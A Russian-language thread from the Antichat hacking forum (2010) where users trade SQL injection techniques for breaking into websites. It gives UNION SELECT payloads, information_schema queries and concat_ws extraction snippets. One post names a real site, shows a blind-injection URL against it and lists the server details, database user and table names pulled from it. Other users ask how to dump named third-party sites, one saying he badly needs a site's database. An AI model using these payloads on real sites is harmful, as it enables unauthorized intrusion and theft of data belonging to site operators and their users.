HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 17.01.2010, 18:52
Gidz
Познающий
Регистрация: 10.08.2009
Сообщений: 30
С нами: 8816961

Репутация: 4
По умолчанию

спасибо mailbrush , вроде понятно, а как узнать что БД выводит только первое значение записи?
и вот еще такой пример инъекции нашел
?id=14+and+0+union+select+1,2,3,4,5,6,7,8
как ее понимать??
 
Ответить с цитированием

  #2  
Старый 17.01.2010, 20:21
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Цитата:
Сообщение от Gidz  
спасибо mailbrush , вроде понятно, а как узнать что БД выводит только первое значение записи?
и вот еще такой пример инъекции нашел
?id=14+and+0+union+select+1,2,3,4,5,6,7,8
как ее понимать??
Если подобрал поля, но ни одно из них не выводится, вероятно всего - это именно тот случай. После подстановки "-", "and 1=0" все должно заработать.
 
Ответить с цитированием

  #3  
Старый 18.01.2010, 00:19
Серёжа393
Banned
Регистрация: 28.12.2009
Сообщений: 30
С нами: 8615506

Репутация: 0
По умолчанию

есть скуля. получил имена таблиц. но они не работают. т.к. надо узнать имя БД. т.е. табла лежит в другой БД. как узнать имя БД?
 
Ответить с цитированием

  #4  
Старый 18.01.2010, 00:57
v1d0qz
Познающий
Регистрация: 21.07.2007
Сообщений: 68
С нами: 9898501

Репутация: 257
По умолчанию

Цитата:
Сообщение от Серёжа393  
есть скуля. получил имена таблиц. но они не работают. т.к. надо узнать имя БД. т.е. табла лежит в другой БД. как узнать имя БД?
union select 1,2,database(),4,5
3 - выводимая колонка.
 
Ответить с цитированием

  #5  
Старый 18.01.2010, 13:41
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Цитата:
Сообщение от v1d0qz  
union select 1,2,database(),4,5
3 - выводимая колонка.
При таком запросе ты узнаешь текущую версию БД, а челу надо узнать БД, в которой находится таблица. Делается это так:
Код:
SELECT table_schema FROM information_schema.tables WHERE table_name = 'твоя_таблица'
Если кавычки экранируются, переводи либо в HEX либо в CHAR.
 
Ответить с цитированием

  #6  
Старый 18.01.2010, 00:38
M.W.N.N.
Участник форума
Регистрация: 05.01.2009
Сообщений: 191
С нами: 9129884

Репутация: 240
По умолчанию

concat_ws(0x3a,table_schema,table_name,column_name )
 
Ответить с цитированием

  #7  
Старый 18.01.2010, 04:02
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

Код:
Если через тулзу:

http://www.akos-icco.ru/news.php?part=1+or+1=1+and+substring(version(),1,1)=4--+

database(): w_akos
version(): 4.1.20-1.gms
@@version_compile_os: pc-linux-gnu
user(): w_akos@195.42.160.50

Post-метод, настройки:

$bl_url = "http://www.akos-icco.ru/news.php?part=1+or+1=1"; 
$bl_filtr = "--+";
$bl_plus = "+"; 
$bl_error = "8 декабря 2008";
$bl_error_type = 1; 

Скрипт сохранить в ANSI-формате

   Brute tables
   -------------
  members
  subscribe
  news
  articles

Дальше сам

Последний раз редактировалось Pashkela; 18.01.2010 в 04:07..
 
Ответить с цитированием

  #8  
Старый 18.01.2010, 04:20
DrakonSerg
Познающий
Регистрация: 16.04.2009
Сообщений: 81
С нами: 8984365

Репутация: 45
По умолчанию

В поис вставляем галочку site/list.aspx?q=' Получаем:

Server Error in '/' Application.
Invalid operator for data type. Operator equals modulo, type equals varchar.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Invalid operator for data type. Operator equals modulo, type equals varchar.

Source Error:

Line 94: paramCollection.Add(new SqlParameter("@Keywords", keywords));
Line 95: paramCollection.Add(new SqlParameter("@StatusId", statusId));
Line 96: DataTable dt = Sql.ExecuteQuery("dt", "spCourse_Search", paramCollection);
Line 97: return dt;
Line 98: }


Source File: d:\websites\LocalUser\modernsalonlearningc\App_Cod e\Course.cs Line: 96

Stack Trace:
Дальше лабудень непонятная. Это что значит? уязвимость? Можно базу собрать? Просто с sql не знаком, если скажете что можно - буду читать, учить, пробовать. Очень база с сайта нужна.
 
Ответить с цитированием

  #9  
Старый 18.01.2010, 04:21
Анжелика
Познающий
Регистрация: 26.03.2008
Сообщений: 31
С нами: 9541076

Репутация: 82
По умолчанию

Ошибка в типах. Это не инъекция
 
Ответить с цитированием

  #10  
Старый 18.01.2010, 15:34
mff
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
С нами: 9560486

Репутация: 1809


По умолчанию

Здравствуйте.
Подскажите, есть ли тут скуль - http://www.etiket-shop.ru/catalog.php?Razdel='999999
М что означает
Цитата:
Wrong usage of UNION and ORDER BY
Цитата:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''99999999, 25' at line 1
?
Спасибо.

Последний раз редактировалось mff; 18.01.2010 в 16:03..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.